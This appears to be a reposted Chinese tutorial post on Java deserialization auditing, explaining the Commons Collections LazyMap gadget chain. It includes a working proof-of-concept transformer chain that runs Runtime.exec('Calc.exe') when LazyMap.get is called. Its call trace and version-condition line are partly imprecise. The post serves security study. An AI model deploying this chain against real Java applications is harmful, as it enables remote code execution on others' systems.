0x00 前言
反序列化总纲
CC链迭代链:Java代码审计——Commons Collections 迭代调用链
除开:Java审计——Commons Collections TransformedMap调用链,还有一条LazyMap调用链可以利用。
0x01 LazyMap调用链
在CC包中,除了TransformedMap之外,还有一个LazyMap也可以去触发迭代链。触发的方式是通过get的方式进行触发。
同样和TransformedMap一样,基础的赋值也是由decorate完成的。
1. 先上POC
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{ null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},new String[]{"Calc.exe"}),};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
outerMap.put("zeo","666");
outerMap.get("zep");
这里我们还是通过decorate赋值,然后通过get进行触发。
get触发过程:
- get - LazyMap.class - get - this.factory.transform(key) - TransformedMap.transformValue- ChainedTransformer.transform- 迭代链 - InvokerTransformertransform- …
2.总结
实际上不论是TransformedMap或者是LazyMap调用链,最主要的逻辑还是去触发Transform方法。
0x03 使用条件
- 除最新版本无限制
0x04 要点笔记
- LazyMap通过get来进行触发
版权归原作者 王嘟嘟_ 所有, 如有侵权,请联系我们删除。